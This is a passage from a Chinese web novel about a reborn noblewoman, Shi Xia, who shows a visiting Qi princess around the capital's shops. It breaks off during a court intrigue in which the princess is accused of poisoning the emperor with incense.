却意外对上了谢行的目光。
谢行举杯,虽隔得遥远,还是微微歪动酒杯,以作碰杯。
时夏也遥遥回应。
两人的动作并不明显,但却被一旁的燕尘尽收眼底。
他们关系倒是好上了,他轻笑了一瞬,也不知能维持多久。
-
“时小姐!”萧玦等在时家门口。
他近些日子对时夏很是主动,想来是明白了自己对时夏的心思。
可时夏并不能回应他,终于,在他又一次邀约下,时夏答应了一同出行。
但答应出行,主要是为了和萧玦说清楚,这样对他们两个都好。
时夏微微笑了笑,也向萧玦回应了一个招呼,走向后面那辆马车。
萧玦挠了挠头,原来要坐两辆马车吗?这是他之前没有学到的。
马车驶向了京城最为繁华的街区,各种铺子都有。
“时小姐,你可要吃这糕点!”他兴致勃勃。
时夏却情绪不高,一直在思索应该如何清晰又不太伤害到他的方式来说。
一个不留神间,萧玦就买了好几款糕点。
“诶,那好像是文安公主和李公子?”萧玦眼力很好,明明两人离他们很远,但他还是一眼就看见了。
时夏的目光随之移去,看到李公子一直在文安公主身边叽叽喳喳的讲着些什么,而文安公主明显并不乐意和他过多交流,但碍于皇帝和两国情谊,却也只
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能听着。
这样想着,她开口:“不若我们叫上文安公主一起吧,文安公主来到大夏,连一个熟识的朋友都没有。”
萧玦有些疑惑:“陛下不是让李公子陪着公主?”
虽然他也不喜李公子,没有原由,就是看到李公子,给他的感觉就很不舒服。
“文安公主毕竟是女孩子,很多话都不好和李公子说。”时夏解释:“而且她要是想买什么,总不好直接对着李公子说想要吧。”
萧玦点点头,扬声:“李公子?”
李公子满心满眼都在身旁的美人身上,完全没有注意到萧玦和时夏。
萧玦只好快步走了过去:“李公子,好巧。”
时夏也小步跟了上来:“李公子,文安公主。”
“萧将军?”李公子并没有和时夏打招呼,自从之前的矛盾后,李家和时家的关系越来越不好,本身两家人在朝堂上就是敌对关系,小辈之间的矛盾更是让两家的矛盾扩大化了。
且两家都是宠孩子的,都觉得是对方的问题,现在关系可谓是势同水火。
“李公子这是奉陛下之命来带文安公主了解京城?”时夏一句话,把两人有一些暧昧的关系变成了皇帝的要求。
偏偏她这话也说得没错,李公子只能咬牙点头:“是的。”
“不若我们一起吧,正巧我今日也要逛逛京城。”她直言。
“这......”李公子自然是不愿意的。
时夏却没有把决定权给他,而是直接看向文安公主:“公主觉得如何呢?”
文安公主有些意外,她以为大夏的人对她多多少少都是有些敌意的,而时夏却主动向她示好,且看出她不愿和李公子一起后,主动帮她解围,倒是难得。
“若是这位小姐不嫌弃,文安自然很是乐意。”
“我叫时夏,公主唤我夏夏就好。”时夏笑了笑,挽住文安公主:“李公子,文安公主都答应了,你可不能扫兴哦,今日得让公主好好逛逛,好好感受一下大夏!”
李公子咬牙:“那是自然。”
第62章 时小姐,糖葫芦很好吃!
“文安公主,这是大夏独特的小食,我们平时都可爱吃了,你要尝尝吗?”时夏买了三根糖葫芦。
“不用这般客气,直接叫我文安就好。”文安公主眼睛盯着那糖葫芦,有些挪不开眼。
时夏笑了笑,觉得这文安公主有些可爱:“好,文安!”
说着,她将其中一根糖葫芦分给文安,一根分给萧玦,自己拿一根。
一旁的李公子不乐意了:“时小姐这是何意?”
他自然不是想要吃这一根糖葫芦,而是觉得时夏给所有人都买了,唯独排除了他。
伤了他可怜的面子。
要知道,他虽然一事无成,游手好闲。
但也是这样一类人,最是在意面子,别人稍不注意,他就会觉得别人在看不起他。
时夏的确是故意没有买他的份,毕竟,他们两家的关系,并不需要维持表面上的和谐。
时父和李大人每日都在朝堂上吵架,就连平时各家办宴,都不会同时邀请时李两家。
“我以为李公子看不上这些民间小食呢。”时夏微微歪了歪头,露出一个无辜的笑。
“李公子若是想吃,我给你买吧。”一旁的萧玦感受不到两人之间的剑拔**张,只以为李公子是因为没有分到糖葫芦而不高兴。
可这话一出,本就脸色不好看的李公子,更加黑下脸。
“不,用!”他咬牙切齿。
这个萧玦,他难道买不起一根糖葫芦吗?在这里装什么好人?不也是故意嘲讽他?
萧玦不明所以,点了点头,又看向时夏:“我们现在去哪里逛?”
“去看看衣裳吧,我记得齐国和大夏的穿衣风格差别挺大的。”这话不错。
大夏富有,民风开放,人们都是穿各种各样款式的衣服。
而齐国相比起来,则要保守许多。
更多的是选择遮起来。
时夏想了想,决定带文安去云杉纺,虽说指尖织的款式更多,但好歹文安公主是第一次在大夏游玩。
指尖织再怎么也只是个小铺子,带她去云杉纺更加更显尊重。
而且有她每月提供的设计图,云杉纺也有不少好看的衣服。
于是她直接拉着文安公主,朝着云杉纺走去:“往那边走。”
萧玦也紧随其后。
李公子气急,本应该是他负责带着文安公主在了解京城,可时夏却突然半路横插一脚。
现在更是丝毫不管他,直接就带着文安走,完全没有问过他的意见!
而且哪个男子会陪着女子去逛那无趣的衣裳铺子?
简直是浪费时间!
前面三人自顾自的走着,完全没有注意到身后的李公子。
他更加不满,紧紧的瞪着几个离开的背影,最后一咬牙,直接转身离开。
“诶?李公子呢?”最后还是文安公主先发现李公子不见了。
时夏无所谓的摇摇头:“可能临时有急事,便先走了吧。”
想了想,又补充到:“文安不用担心,他是男子,且对京城极为熟悉,不会有什么问题的。”
文安想了想,觉得时夏说得有道理,这才放下了心:“夏夏,这糖葫芦好好吃呀!酸酸甜甜的!”她笑弯了眼。
“喜欢吃我以后给你多买些!”
到云杉纺门口,掌柜的见来人是时夏,十分狗腿的跑过来迎接:“时小姐?”
毕竟时夏可是云杉纺的贵人,每月靠着她的设计稿,赚不少银两。
而且他虽不知时夏与谢行之间到底是这几秒一回事,但二人经常在云杉纺见面,自然关系匪浅。
时夏冲着掌柜的笑了笑:“掌柜的不必客气,我带文安公主来逛逛,还是之前的雅间。”
和谢行达成合作之后,谢行就将那密室旁边的雅间关了起来,留下外间供时夏用。
想到这里,时夏忍不住皱眉。
这云杉纺是谢行的,虽然她现在和萧玦确实没有什么,若是谢行知道了,怕是又要不满。
而且她今日本就是想和萧玦说清楚,若是现在直接让萧玦回去,后面还得再找机会。
“文安,不若你先和掌柜的到雅间等我片刻,我有些事要和萧将军商量。”时夏斟酌着开口。
文安十分善解人意,没有问时夏是什么事就扬起笑容,点头答应:“好!”
看着文安跟着
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掌柜的上楼后,时夏才看向萧玦。
她往旁边走了两步,今日人少,也避免了让萧玦尴尬:“萧将军,之前的事......可否麻烦您当作从未发生过。”
她有些心虚,自己抱着目的去招惹了人家,现在却又要求人家当作什么都没有发生。
萧玦没有明白时夏的意思,但内心下意识有些慌张,感觉似乎有什么东西在流失。
“之前......关于找你帮忙摘花的事。”时夏知道萧玦在这方面一向是慢半拍,一咬牙,干脆直接说了出来:“抱歉,萧将军。”
萧玦虽反应慢,但也能明白时夏的意思。
他只感觉心里怪怪的,似乎有些密密麻麻的疼,让他捉摸不透。
但他也不愿看时夏这般内疚,本就是他动了心,如何能怪得了时夏?
她这样优秀的女孩,自然得配最优秀的人。
萧玦扬起一个笑容:“时小姐不要因我而困扰,我明白的。”
他自己看不到,时夏却能清晰的看到他笑容的勉强,已经声音微微的颤抖。
可最终,也只能归为一句:“抱歉。”
“那我便不打扰时小姐了,你们慢慢逛!”他明白时夏单独和他讲清楚,是不想和他一起继续逛下去了。
“萧将军,你是个很优秀的人。”时夏忍不住开口:“我相信,日后,你一定能成为大将军,保家卫国,成为大夏的守护者。”
这是对萧玦的夸奖,也是事实。
他本就很优秀,无论前世还是这一世。
大家都说他笨,不能理解别人的言外之意,说话也一点不知客气,可实际上,他待人真诚,不像她和谢行,满脑子弯弯绕绕。
这样的人,应该和一个真诚的人在一起,而不是利用。
“时小姐,糖葫芦很好吃。”少年朗声,他转身,背对着时夏挥挥手,慢慢匿入人群。
时夏默默的看着,半晌,才转身,进入云杉纺。
她推门进入雅间:“文安!”
却见文安战战兢兢的坐在桌边,眼里全是小心。
时夏顺着她的目光看过去,窗边赫然站着一人,是谢行。
第63章 救命恩人
谢行一身墨色,面朝着窗口,只留一个背影给两人。
时夏走到谢行旁边,也顺着窗户看了出去。
这个角度正好能看见她刚才和萧玦说话的地方。
“王爷怎在此?”时夏开口。
“本王只是好奇,时小姐和谁一同出行。”他终于转过身,看向时夏:“时小姐的朋友很多。”
时夏垂眸:“比不过王爷。”
“今日恰巧遇上文安公主,便带文安公主来逛逛。”时夏走回到桌边,自顾自坐下:“王爷今日可有事?”
“无事,只是听闻时小姐今日来了云杉纺,有些诧异罢了。”他神色淡淡。
“王爷既无事,便请回吧。”时夏倒了杯茶水,递给文安公主:“女孩子一起逛街,王爷一同,总是不方便的。”
“萧将军倒是方便。”不知是不是时夏的错觉,她感觉谢行这句话说得有几分酸酸的。
时夏叹气,想到文安公主在此,上前两步:“王爷不必多想,该与萧将军说的,我都说过了。”
“萧将军也答应的很好。”她又补充。
“嗯。”谢行终于是脸色缓和些:“如此最好。”
他很想相信时夏,但之前两个闹崩那次,让他对时夏一直保持着一种怀疑。
这个女人,嘴上说得好听,实际上比谁都有想法。
她最在乎的,就是利益。
不过也正是因此,两人才会有合作。
但也正巧,谢行也是这样的人,他不许什么感情的付出,利益与利益的交换往往才是最稳定的。
“那时小姐与文安公主慢慢逛。”他的视线是看着时夏的,半晌,才推门离开。
谢行一离开,整个雅间的氛围顿时缓和了下来。
文安公主松了一口气,一直紧绷着的脊背也放松下来。
时夏看见她这样,忍不住笑了笑:“文安不必怕。”
文安公主却双目无神的摇了摇头,绘声绘色讲了起来:“夏夏,你都不知道!”
“掌柜的把我送到门口就走了,我一推门,就看见王爷冷着脸站在窗户边上。眼神就根冰一样朝着我射过来。”
“我还以为掌柜的带错路了,刚想走,他就冷着声音让我坐下。”
文安公主皱着一张脸。
时夏笑了笑,安抚:“文安不必怕他,他这个人就是这样,浑身散发着冷气,对谁都是如此。”
文安公主突然想到什么,双眼亮亮的,好奇:“夏夏,你和这个什么王爷是......”
“嗯......算是合作吧。”时夏纠结了半晌。
“合作吗?可我感觉......他刚才一直站在窗户边看你诶!”
时夏沉默了一瞬,不知道该怎么去说她和谢行之间复杂的关系。
而且,时夏想起了前世,谢行对林月白过敏时的担心。
他心里藏着的白月光,永远都没人能替代。
感受到时夏的沉默,文安公主意识到自己说错话了,讪笑了一下,打破僵局。
“夏夏,不是说带我看衣服?”她明亮的眸子看着时夏。
时夏这才从刚才的情绪中抽出,也笑:“我这就让掌柜的把最近卖得最好的款式送上来给你看看。”
文安公主却摇摇头:“嗯......我想去楼下看看,什么样的款式衣服我都想看看!感觉会和齐国那边有很多不同呢!”
时夏想了想,也是,不知道文安公主喜欢什么风格的。
那些衣服在大夏卖得红火,但却不一定符合文安公主的审美,不若带她多看看。
“好,那我们便下楼去看。”她笑了笑:“文安若是看到喜欢的布料,还可让掌柜的找人给你设计你喜欢的款式呢。”
两人缓步向楼下走去。
云杉纺的店面非常大,时夏先带她去成衣区看看。
“这条蓝色很适合文安。”时夏指向左侧。
“时小姐?”突然,一道声音传来。
时夏回头,竟然是燕尘,她微微福身:“世子殿下。”
文安公主也下意识跟着时夏福身,低着头,似乎有些胆小。
“文安公主不必这般客气。”燕尘看着向他行礼的文安公主,后退了两步。
时夏小声
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在文安公主耳边开口:“这是世子殿下,且公主是从齐国来的贵客,除了面见陛下和太后等人以外,都不用行礼的。”
文安这才反应过来,羞红了脸:“今日和李公子见面时,李公子说大夏的规矩便是见人就得行礼,还特意找了宫女教我......我便以为......”
时夏心中划过一股怒气,这个李家!
“文安不必在意他说的,以后也别听。”时夏压平嘴角。
文安这才点点头。
“燕世子今日也来逛衣服?”时夏有些奇怪,燕尘想要什么,直接命人来不就行了,何必亲自来?
燕尘苦笑:“小妹快要过生辰了,非要我给她送一件最特别的衣服。这不,只能来云杉纺看看了。”
时夏点点头:“既如此,我们便不打扰世子了。”
“不知时小姐可有空,为我做做参谋?”燕尘请求:“你也知道,小妹那个性子,任性得很。”
“不给她买到她喜欢的,她回去又要闹了。时小姐的审美一向好,若是能给我做做参谋,小妹必定喜欢。”
时夏为难:“世子可否等些时日,今日我得陪文安公主逛逛。”
“时小姐能帮我,便已是极好!”
文安公主默默听着两人交流,觉得那声音越听越耳熟,忍不住悄悄抬起头,看向燕尘。
下一秒,她瞪大眼睛:“恩人!”
燕尘笑了笑:“以为公主早已忘了在下,便没有多提。”
时夏有些疑惑:“你们......之前认识?”
“之前在外游历时,偶然和公主遇见过。”燕尘简单解释。
而文安公主的情绪则要高许多:“之前我贪玩,一人去山上寻制香的材料,却被猎户制作的陷阱困住,多亏了世子,我才得救!”
燕尘笑笑:“燕某不过是路过,举手之劳罢了。”
“世子若是不嫌弃,不若今日和我们一起?也能顺便看看送给你小妹的衣服。”文安兴致勃勃。
燕尘自然没有拒绝。
只有时夏默默叹气,得,又陷进去一个。
第64章 若是不嫌弃,我可将名额让出
“我听闻不久前京城新开了一家铺子,做的衣服款式都十分新颖,只可惜每月接定制的数量有限。”燕尘叹气,又看向时夏:“我听说时小姐和店家关系不错?”
时夏微笑:“燕世子高看我了,谈不上不错,只是还算熟悉。”
“说来惭愧,小妹一直很想要一套那家铺子的衣裙,但从未约上过。”他似乎有些不好意思言说:“不知可否拜托时小姐帮忙联系联系,能否多加一款?”
时夏有些纠结,限量定制是她特意想的,哪怕现在招了许多女工来设计衣服,但也一直保留着,作为吸引客户的一点。
若是给燕尘破例,被别家小姐姑娘知道了,今后怕是便不好拒绝了。
“是让时小姐为难了吗?”
“抱歉,我与那店家也只是认识,关于铺子上的是......我可能有心无力。”时夏一脸愧疚。
燕尘却是摆摆手:“无妨无妨,本只是想着若能给小妹定制到更好,没有也无事。”
“哪家铺子呀?我也想去看看。”一旁的文安公主好奇。
时夏浅笑:“不过是家小铺子罢了,文安若是想看,待逛完云杉纺我们便去。”
文安公主现在已经满心满眼都在指尖织上了:“现在就去嘛!”
什么铺子,居然连送上门的生意也不要?
而且还是她恩人想定都定不到的。
时夏失笑:“好,那就现在去。”
本想着带文安共公主在京城最繁华的商业圈逛逛的,不曾想文安公主竟对指尖织更好奇。
“世子,那我们便先走了。”她冲着燕尘微微福身。
“二位要去指尖织,不若一起?”他淡淡笑道:“正巧我也好奇指尖织的衣裙到底什么魔力,竟然吸引得贵女们都抢着买。”
“好呀!”文安公主点头答应。
-
皎皎正在铺子里看着绣娘们按照设计图制衣,铺子的规模越来越大,店员也越来越多,很多事情都不需要她亲自上手了。
突然,铺子门口传来动静,她循声看去,便正巧看见时夏从马车上下来。
她连忙迎上前去:“小姐......”随即看见马车上又下来一人,赶紧噤声。
燕尘坐的是自己的马车,在两人身后。
带到燕尘也下马车后,时夏才开口询问:“皎皎,你们东家今日可在?”
皎皎心领神会:“东家最近外出了,不知何时才回呢。”
“这样啊......”时夏有些遗憾的看向燕尘。
燕尘摇头:“那便看看有何成衣吧。”
几人走进铺子,里面赫然还站着一人。
是高希。
她正俯身,仔细的看着一位女工设计衣服。
时夏心里一惊,高希对燕尘的感情自然是不用说的,而文安公主多半也是对他有好感的。
且燕尘也在这里,让这几人碰上面......
时夏现在满心后悔,今日就应该好好在云杉纺逛。
“世子哥哥!”高希本在认真看女工设计,突然听到动静,她下意识看去。
竟然看见了燕尘和时夏,这可让她惊喜坏了。
之前怎么也碰不上燕尘,甚至好几次去燕府,燕尘都正巧不在。
现下来指尖织,却正巧遇上了燕尘,指尖织果然是个好地方!
她三两步小跑到几人面前:“时姐姐也来啦!”她的目光移向文安公主,有些迟疑:“这是......文安公主?”
时夏笑着点点头,又向文安公主介绍:“公主,这是高家小姐。”
“高小姐好!”文安公主扬起璀璨笑容。
“见过文安公主。”高希简单和她客套了一下,又看向时夏:“时姐姐今日怎的来指尖织啦!”
“陪公主来看看衣裳。”时夏简单解释。
高希点点头,看了看文安公主身上的衣服,嗯,还是指尖织的衣服好看!
“世子哥哥怎么也来了?”她好奇,若说云杉纺还偶尔有男子去逛逛,指尖织就是纯粹的为女子准备的铺子,只卖女子服饰。
“小妹生辰快到了,想着来看看。”他叹气:“本想给小妹定制一套衣裙,可惜......”
“指尖织的名额着实难抢。”高希点点头:“世子哥哥要是不嫌弃,我将我这个月的名额给你?”
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>时夏双眼微睁,她记得之前高希还和她说抢不到名额,这次还是她特意留的。
高希竟然舍得就这么把名额送给燕尘?
燕尘似乎也有些惊讶:“这......君子不夺人所爱。”
高希却不在意的摆摆手:“世子哥哥别跟我客气,这生辰一年只有一次,可我以后都还能争取名额呀!”
燕尘沉默了,小妹的确对这次的生辰满是期待。
“不过我这衣服已经设计了一些了,不知道世子介不介意。”
燕尘恭敬:“这次便多些高小姐了......日后高小姐若有需要的,燕某定竭尽所能!”
高希笑,显然高兴极了。
时夏和文安公主对视了一眼,怎么感觉这孩子傻傻的呢?
时夏幽幽在心里叹了口气,高希都这样乐意将名额送出去,她又有什么好说的呢?
只希望高希以后能逐渐成长起来,不要吃太多的苦。
“文安,我们去看看衣裳吧。”她指向左侧,那里挂着的是铺子刚开时,她设计的衣服。
指尖织的客户基本都倾向于定制,非定制的成衣往往被忽略了。
但其实,成衣也非常好看,款式独特。
否则,云杉纺怎会愿意合作呢?
文安眼里有些惊喜,说不出来原因,就是感觉这些衣服和之前那家铺子的差别很大。
明明那家铺子也有差不多颜色的衣裙,但指尖织的就是让人感觉很惊艳、吸睛。
“这条裙子好美!”文安感叹。
一旁的高希闲着无事,也跟上来,语气里满是骄傲:“那当然,指尖织的衣服,就没有不好看的。”这样说着,她又看向皎皎:“这条给本小姐包起来。”
“高小姐不若看看别的?”时夏阻止:“这衣裙大,不适合你。”
她说的是实话,高希如今不过十二三岁,身体刚刚发育。
而这衣裙无论是款式还是大笑都更适合十五六的姑娘。
高希嘟嘴,咬牙,最后有些愤愤的离开。
世子哥哥不愿见她,时姐姐也帮着别人!
她又不是看不出来文安公主看世子哥哥的眼神!
第65章 还不进来谢罪!
时夏抿抿唇,又扬起笑容,看向文安公主:“公主不若试试这衣裙?”
文安虽因为高希的突然离开有些懵,但也不会拂了时夏的面子:“好!”
她拿着衣服进了试衣间。
时夏看向一旁的燕尘:“世子近日很是繁忙,我们便不耽误世子的时间了。”
她这话说的直接,燕尘自然也不会过多停留,他点点头:“我也去那糕点铺子看看。”
时夏微笑。
文安公主换好衣服出来时,铺子里已经没了燕尘的身影:“恩人走了?”
“他有要事要忙,就先走了。”时夏帮她理了理裙子:“我们慢慢逛。”
文安点点头:“怎么样,好看吗?”
“很衬公主!”时夏肯定道:“这一条看起来也不错,公主不若也试试?”
文安公主自然很相信时夏的选择,高高兴兴的拿着裙子去试。
两人兴致勃勃的试着各种衣裙。
突然,指尖织门口传来一阵喧闹,门口围满了侍卫,一个太监站在中间。
“文安公主何在?”他尖声利气。
时夏皱眉,心里有一种不好的预感,但还是拉着文安走出去。
看见来人,心里更是一顿。
福来,是皇帝身边的大太监,他来此......必定是出了什么大事。
“福来公公,这是......”她勉强撑起笑容,开口。
福来冷哼一声,锐利的目光射向文安公主:“皇上用了文安公主所制作的熏香后,头痛、失眠的情况愈发严重!”
说着,他一挥手,几个侍卫上前,将文安公主包围起来,就要押着文安走。
时夏皱眉,这件事情绝对不简单。
且文安公主若是现在这样被带走,不论真相是何......外面都会......
但她也不好直接与皇帝抗衡,本来现在时家的情况就有些危险。
文安公主是事情更是涉及到两国。
她是没有权力、没有资格说什么的。
“公主不若坐这马车进宫,要快些。”最终,时夏只能说出这样一句话。
不过,能有马车遮掩,即便侍卫都守在周围,也会比直接被带走强一些。
文安反而安慰的看了看时夏:“夏夏不必担心。”
说着,她便向前走去。
脊背挺直,头也微微抬起,时夏看着她的背影,真是有几分公主风范。
福来和侍卫等人带着马车渐渐走远。
时夏转身:“我记得铺子里有几辆马车来着,快准备一辆,我们去景王府。”
-
养心殿内,太医跪了一地。
皇帝躺在床上,贤妃一边为他揉着头,一边哭泣:“皇上......”
自两年前先皇后去世,皇帝一直没有立皇后,贤妃在皇帝还是太子时便在皇帝身边。
是位份最高,最有资历的妃子了。
宫里的势力主要分为三份,一部分是太后,一部分是贤妃,还有一部分,则是在不问世事的仪妃身上。
皇帝闭着眼睛,但也能看出他极力忍受着痛苦。
“都是那齐国公主,说是好心来求和,实际上却是想要害皇上您!”她愤愤不平。
皇帝却声音平静许多:“不要担心,说不定朕就是近日正巧病了,冤枉了那小姑娘可就不好了。”
“毕竟,朕唯一希望的,就是两国和平。”
“陛下,您就是太心软了......”贤妃语气里满是心疼。
福来弯着腰,恭恭敬敬进来:“皇上,娘娘,文安公主来了。”
贤妃横眉:“还不让她快些进来谢罪!”
“是。”福来狗腿,挥了挥手,一个小太监出去。
很快,文安公主进来了。
她看着跪了一地的太医有些惊讶,忍不住暗自腹诽,不愧是皇帝。
“参加皇上。”她行礼。
“大胆!见到皇上敢不下跪!”贤妃愤怒起身,三两步走上前。
“无妨,小丫头不懂事而已,爱妃不必动气。”皇帝淡声,劝贤妃。
贤妃却更加大声:“本就是她害得陛下现在这般头疼,现在又这般不敬,臣妾怎能看得下去!”
皇帝叹息一声。
文安公主看着这两人一人唱红脸一人唱白脸,心里有些不耐烦。
但毕竟是在大夏的国土
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,还在皇帝宫里。
她也只能服个软,否则若是真给皇帝激怒了,随便找个理由,她就回不去了齐国了。
这样想着,文安公主动作干脆利落,跪下身,给皇帝行了个标准的大礼。
“快些起来吧文安公主,不必在意这些虚礼。”皇帝费劲的撑起身子,想要从床上坐起。
贤妃着急坏了,赶忙去扶皇帝:“皇上,这本就是规矩!您身体不舒服,好好躺着休息,何必要坐起来呢?”
皇帝拍了拍她:“无事,朕能坚持。”
贤妃张张嘴,眼里满是担心,最后无奈,还是把话都咽了进去。
文安站直身子,这才恭敬开口:“不知陛下用了那香后,是有何不适?”
“今日可有吓着公主?本不想把你叫来,可贤妃实在担心,朕也没办法。”皇帝摇摇头:“就是夜里总睡不好,头疼罢了。文安公主不必自责,向来是当日让公主现场制香,人太多了,公主有些紧张。”
“陛下可否让在下把脉看看情况?”文安公主皱眉,她能确定自己那日制作的熏香没有问题。
她用的都是最温和的材料,包括用量也是,有效又不会刺激。
“把脉?你害得陛下身体不适,你还想把脉!”贤妃冷笑:“谁人不知你们齐国最擅长制毒!若是趁着把脉......”
“请陛下给我一个把脉的机会。”文安公主恭敬开口:“我定能看出是哪里出了问题。”
半晌,皇帝叹气,才幽幽开口:“来试试吧。”
文安这才上前两步,到皇帝面前,蹲下身子,开始把脉。
贤妃冷哼:“这么多太医都说是因为你的熏香**,我倒是看你要如何辩解。”
文安边把脉,眉头皱紧。
这脉象......的确是中了毒。
而且似乎......不止一种毒,体内至少三种毒在互相冲撞。
“陛下可否将熏香再给我瞧瞧?”
“李太医。”皇帝开口。
李太医立刻将身旁的熏香送上。
文安打开盖子,仔细观察,又闻了闻,眉头越皱越紧。
这里面的确有毒。
第66章 后宫不得干政!
“陛下,可有旁人动过这熏香?”文安公主皱眉,她能确定这是她做的那一款。
但是,里面绝对有人加了别的东西。
虽然那人极力想要掩盖,但她还是能闻到。
“公主这话说得,那日你可是说了十日内不可打开。”贤妃冷嘲:“陛下本就疲劳,想着试试这熏香,看能不能缓解一下头疼,可结果呢......”
文安抿唇,心中有些烦躁。
齐国本是真心投诚,可大夏却这般故意为难于她。
“陛下请给我三日时间,我必定查清楚事情原委。”她请求。
“这......”皇帝似乎有些犹豫。
贤妃冲着文安翻了个白眼:“你意图谋害皇上,还给你时间?我看!就应该现在打入大牢,听候发落!”
皇帝拍了拍贤妃的手:“朕知道爱妃是担心朕,但文安公主毕竟是齐国......”
贤妃不满:“陛下!您就是心太软了!您也知道她是齐国的,说不定......就是齐国商量好了的呢!依臣妾看,就应该把他们齐国的人都抓起来,好好审问!”
皇帝无奈:“本就是没有确定的事情,怎可如此?齐国的使臣们来我们大夏便是客人。”
“可他们现在要谋害陛下!那臣妾便觉得他们是仇人!”
突然,门口响起福来的声音:“太后娘娘到——”
二人神色皆是一僵。
太后怎会来?她和皇帝的关系一向不好,若非要紧事,绝不会来找皇帝。
太后姿态优雅,走进殿内:“这是发生了何事,闹出这样大的动静?”
“母后。”皇帝想要站起迎接,却又因头疼而无力起身。
贤妃讪讪:“太后娘娘......”
太后无视了贤妃,微微抬手:“既然身子不适,便不必行礼,好好休息吧。”
“多谢母后关心。”
太后视线移向一旁的文安公主:“这是怎的了?”
“儿子不过有些身体不适。”皇帝回答。
“身体不适传太医啊,何必大张旗鼓的将文安召入宫中?”太后似是不满。
“都怪臣妾......臣妾见皇上身体不适,太医们都说是这熏香有问题,臣妾便擅作主张将文安公主唤来了。”贤妃一咬牙,将责任都揽在自己身上。
“扑通”一声,便向太后跪下,低着头:“臣妾只是担心陛下的身体。”
“呵,关心皇帝的身体?”太后冷笑:“你若是真的关心皇帝的身体,便应让太医好好为皇帝诊治,而不是光顾着问文安公主。”
“而且,你可知文安公主代表着什么?”她眼神锐利如箭:“文安公主是代表齐国而来,你却这般不尊重文安公主,后宫一向不得干政,你也是宫里老人了,不会不知道。哀家看,你真是越来越没有规矩了!”
贤妃顿时脸色惨白,她揽下责任时相过会被太后责罚,但没有想到太后会将事情上升到后宫涉政上。
毕竟这事情,说大可大,说小也可以小,她完全可以是从一个普通妃嫔对皇帝的关心来说啊!
贤妃用力的磕着头,一下又一下,每一下都十分用力:“臣妾只是担心陛下,绝对没有想要涉政的意思,请太后娘娘明鉴!”
她对自己也是毫不留情,额头中间很快就红了一大片,破了皮。
“行了。”太后最后还是淡淡开口,放过了她:“既然知错了,那便快些回宫吧。不过,你虽非故意为之,但也毕竟是有错,那便禁足三月吧。”
贤妃松了一口气,只是禁足三月,无妨。
且她帮了陛下这样一个忙,陛下一定会记得她的好的。
说不定,要不了多久,她的轩儿就可以回来了。
“多谢太后娘娘恕罪。”贤妃这才起身,行礼后便离开殿内。
皇帝脸色不太好,太后这是当着这么多人的面,打他的脸。
这是皇帝最不能忍受的,被人当众挑衅威严。
“母后今日怎的来了?”皇帝给自己揉着太阳穴,似乎难受极了。
“听闻皇帝今日身
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体不太好,哀家自然得来看看。”太后安抚的拍了拍紧张的文安公主:“这事可查明白了?”
皇帝摇摇头:“朕不愿意用恶意去揣测文安公主和齐国,所以第一位太医说着熏香有问题时,朕是不相信的,可接连几位太医来看了之后,都表示这熏香有异常,就连文安公主亲自来查探,也是如此。”
“皇帝可有排查过身边之人?”
“这熏香前些日子一直在库房里放着,直到近日才拿出来。”皇帝叹气:“而且之前,也一直是福来专门负责看守。”
福来一听到还和自己有关,连忙下跪:“奴才从未碰过这熏香,也一直好好看守,没有人能有机会偷偷下毒!”
没有人下毒,那毒会从何处来?
只能说制香时便自带上的了。
“陛下明鉴,我们齐国虽然也对制毒有所涉猎,但我的确从未想过要制毒害陛下。”
皇帝点头:“朕自然相信你,可这......”他环视了一圈周围:“这么多人看着,朕若是什么都不管,便这样放过你,以后怕是难以服众。”
他似乎为难极了:“可若是将你放到牢中,自然也是不合适的。”
“皇帝既然为难,那便将这丫头送到哀家殿里吧。”太后开口:“正巧给阿笙找个玩伴。”
皇帝眉头一皱,本想找个理由先将文安公主软禁起来,没曾想却被太后抢了先:“可朕担心母后的身体......”
“无妨,哀家相信文安公主。”太后声音平淡且温和,语气却不容拒绝。
文安公主没想到太后这般相信她,惊喜极了,眼底竟然还涌出了一些感动的泪水。
“如此,自然是好的。”皇帝没法,只能答应下来。
“既如此,皇帝便好好休息吧,这件事,哀家定帮你查清楚。”话落,太后便丝毫不拖泥带水,直接带着文安公主离开。
皇帝坐在床边,表情阴狠。
为什么次次都要和他作对呢?她不是他的母妃吗,为何不帮着他!
第67章 时小姐很喜欢救人?
时夏赶去景王府时,被告知谢行并不在府中。
她微微蹙眉,又对兰香说:“去郊外看看。”
也不知谢行是不是在那里。
很快,马车驶到了郊外的院子,安歌竟然已经在门口候着,看见时夏便翩然一笑,仿佛早已知道时夏会来,早早等着了。
“夏夏。”她上前两步。
时夏拿出手帕:“太阳大,安歌怎么没在屋子里休息?”
“王爷说夏夏会来,我可不得提起来等着?”安歌笑,两人一起朝里面走去。
时夏心里暗道果然,谢行知道她会来:“王爷呢?”
“王爷进宫了,估摸着要不了多久便会来。”安歌带着时夏到自己的屋子里:“应该不需要等太久,王爷也不是主角。”
时夏思索,这是什么意思,谢行知道会发生这事?
还是谢行也是参与者之一?时夏有些捉摸不透了。
但想来文安公主应该不会有事,毕竟,前世是没有这一出的。
“安歌可知今日是怎么一回事?”时夏垂眸,掩住思索。
安歌摇摇头:“王爷从来不与我说这些,但王爷做事,自有他的道理。”
时夏点了点头。
安歌是谢行的人,自然是相信谢行的,就像前世的自己一样。
但现在她知道,所有信息、决策都必须要牢牢握在自己手里才行,否则便只有一条路可走。
确实像安歌说的那般,谢行没过多久便来了。
两人去了书房,面对面坐下。
“王爷可知今日是何情况?”时夏直接了当的开口。
谢行却没有直接回答她的问题:“时小姐很关心文安公主?”
时夏沉默一瞬:“我只是觉得文安公主不是那样的人。”
前世文安公主本没有这一劫难,而自己重生后,微微扇动翅膀,却间接导致她遇上这样的事情,甚至有可能导致两国交战。
时夏承认,她这么关心这件事,是因为愧疚。
她害怕因为自己,导致别人的灾难。
“时小姐似乎很喜欢救人?”谢行挑眉。
不管是之前的九公主,还是这次的文安公主,亦或者是其他人。
时夏似乎总是想要救下她们,就靠着她那弱不禁风的肩膀。
“臣女只是做了内心想做的事情罢了。”时夏抬眸,对上谢行的视线。
这个时代,对女子总是不友好的。
皇帝,把公主、妃嫔、贵女们当作稳固朝堂的工具。
就连最普通的百姓,也将女儿弃之如履。
世家把女子当作礼物交易往来,她们早已被明码标价。
女子之间也被迫互相争斗,其实,她们也都只是为了更好的活下去罢了。
但面对这样的环境,她们只能丢弃掉自己的善,用尽所有的恶,去与人争斗。
时夏很幸运,生在这样一个爱她的家庭里。
可上一世让她知道,被这样宠着长大,也算不上一件好事。
尤其是在面对时家出事时,她显得无能为力,只能苦苦哀求谢行。
既然上天给了她重来的机会,她会努力改变自己和时家的命运。
